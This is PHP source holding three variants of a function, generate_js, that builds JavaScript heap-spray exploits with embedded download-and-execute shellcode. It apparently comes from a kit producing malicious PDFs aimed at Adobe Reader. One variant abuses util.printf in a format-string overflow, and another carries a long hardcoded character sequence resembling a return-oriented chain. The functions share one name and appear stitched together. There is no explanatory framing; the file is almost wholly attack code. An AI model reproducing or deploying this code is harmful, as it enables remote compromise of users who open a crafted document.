function generate_js($url) { $js = ''; $js = $js . 'var k = \'60000\';'; $js = $js . 'var k1 = 0x40000;'; $js = $js . 'var k2 = 1450;'; $js = $js . 'var code = \'' . shellcode_dl_exec_js($url) . '\';'; $js = $js . 'var n = \'\\u4b4f\\u4027\';'; $js = $js . 'var a = \'\';'; $js = $js . 'for (b = 128; b >= 0; --b) a += n;'; $js = $js . 'c = a + code;'; $js = $js . 'd = n;'; $js = $js . 'e = 20;'; $js = $js . 'f = e + c.length;'; $js = $js . 'while (d.length < f) d += d;'; $js = $js . 'g = d.substring(0, f);'; $js = $js . 'h = d.substring(0, d.length - f);'; $js = $js . 'while(h.length + f < k1) h = h + h + g;'; $js = $js . 'i = new Array();'; $js = $js . 'for (j = 0; j < k2; j++) i[j] = h + c;'; $js = $js . 'var s = 10;'; $js = $js . 's = s - 10;'; $js = $js . 'var st = \'.f%\';'; $js = $js . 'var p = st.substring(2,3);'; $js = $js . 'var dot = st.substring(0,1);'; $js = $js . 'var lF = st.substring(1,2);'; $js = $js . 'var pkdk1f = p + k + dot + k + lF;'; $js = $js . 'util.printf(pkdk1f, s);'; return $js; }
function generate_js($url) { $js = $js . 'var chars = String.fromCharCode(37008) + String.fromCharCode(37008);'; $js = $js . 'var code = chars + \'' . shellcode_dl_exec_js($url) . '\';'; $js = $js . 'var c = chars;'; $js = $js . 'while (c.length + 28 < 65536){'; $js = $js . ' c+=c;'; $js = $js . '}'; $js = $js . 'var v = c.substring(0, (0x0c0c-0x24)/2);'; $js = $js . 'v += code;'; $js = $js . 'v += c;'; $js = $js . 'var d = v.substring(0, 65536/2);'; $js = $js . 'while(1){'; $js = $js . ' d += d;'; $js = $js . ' if(d.length >= 0x80000) break;'; $js = $js . '}'; $js = $js . 'var t = d.substring(0, 0x80000 - (0x1020-0x08) / 2);'; $js = $js . 'var f = new Array();'; $js = $js . 'for (var i = 0; i < 0x1f0; i++){'; $js = $js . ' f[i]=t+\'s\';'; $js = $js . '}'; return $js; }
function generate_js($url) { $js = ''; $js = $js . 'var c = String.fromCharCode((3084), (3084));'; $js = $js . 'blah = 128 * 8 * 8 * 8;'; $js = $js . 'blah2 = 7 * 4;'; $js = $js . 'while ((c.length + blah2) < blah) c+=c;'; $js = $js . 'var chars = \'\';'; $js = $js . 'chars = chars + String.fromCharCode(3084);'; $js = $js . 'chars = chars + String.fromCharCode(3084);'; $js = $js . 'chars = chars + String.fromCharCode(16447);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(52428);'; $js = $js . 'chars = chars + String.fromCharCode(52428);'; $js = $js . 'chars = chars + String.fromCharCode(7866);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(16677);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(52428);'; $js = $js . 'chars = chars + String.fromCharCode(52428);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(8080);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(7866);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(29096);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(3084);'; $js = $js . 'chars = chars + String.fromCharCode(3084);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(8080);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(36924);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(46738);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(8904);'; $js = $js . 'chars = chars + String.fromCharCode(19077);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(4096);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(2);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(258);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(25509);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(11698);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(10929);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(8);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(43174);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(8080);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(36920);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(46738);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(65535);'; $js = $js . 'chars = chars + String.fromCharCode(65535);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(64);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(1);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(25509);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(11698);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(10929);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(8);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(43174);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(8080);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(36912);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(46738);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4196);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(65535);'; $js = $js . 'chars = chars + String.fromCharCode(65535);'; $js = $js . 'chars = chars + String.fromCharCode(34);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(0);'; $js = $js . 'chars = chars + String.fromCharCode(1);'; $js = $js . 'chars = chars + String.fromCharCode(25509);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4);'; $js = $js . 'chars = chars + String.fromCharCode(19082);'; $js = $js . 'chars = chars + String.fromCharCode(8598);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(36954);'; $js = $js . 'chars = chars + String.fromCharCode(36948);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(60250);'; $js = $js . 'chars = chars + String.fromCharCode(22549);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(6795);'; $js = $js . 'chars = chars + String.fromCharCode(6281);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(49283);'; $js = $js . 'chars = chars + String.fromCharCode(33540);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(1218);'; $js = $js . 'chars = chars + String.fromCharCode(64385);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(3084);'; $js = $js . 'chars = chars + String.fromCharCode(3084);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(61045);'; $js = $js . 'chars = chars + String.fromCharCode(1515);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(59112);'; $js = $js . 'chars = chars + String.fromCharCode(65535);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(37119);'; $js = $js . 'chars = chars + String.fromCharCode(37008);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(37008);'; $js = $js . 'chars = chars + String.fromCharCode(37008);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(37008);'; $js = $js . 'chars = chars + String.fromCharCode(37008);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(46784);'; $js = $js . 'chars = chars + String.fromCharCode(19073);'; $js = $js . 'chars = chars + String.fromCharCode(34084);'; $js = $js . 'chars = chars + String.fromCharCode(19076);'; $js = $js . 'chars = chars + String.fromCharCode(65535);'; $js = $js . 'chars = chars + String.fromCharCode(37119);'; $js = $js . 'chars = chars + String.fromCharCode(1979);'; $js = $js . 'chars = chars + String.fromCharCode(19074);'; $js = $js . 'chars = chars + String.fromCharCode(8080);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(4);'; $js = $js . 'chars = chars + String.fromCharCode(19082);'; $js = $js . 'chars = chars + String.fromCharCode(42968);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'chars = chars + String.fromCharCode(25850);'; $js = $js . 'chars = chars + String.fromCharCode(19072);'; $js = $js . 'var code = chars + \'' . shellcode_dl_exec_js($url) . '\';'; $js = $js . 'var v = c.substring(0, (0x0c0c-0x24)/2);'; $js = $js . 'v += code;'; $js = $js . 'v += c;'; $js = $js . 'var d = v.substring(0, 65536/2);'; $js = $js . 'while(1){'; $js = $js . ' d += d;'; $js = $js . ' if(d.length >= 0x80000) break;'; $js = $js . '}'; $js = $js . 'var t = d.substring(0, 0x80000 - (0x1020-0x08) / 2);'; $js = $js . 'var f = new Array();'; $js = $js . 'for (var i = 0; i < 0x1f0; i++){'; $js = $js . ' f[i]=t+\'s\';'; $js = $js . '}'; return $js; }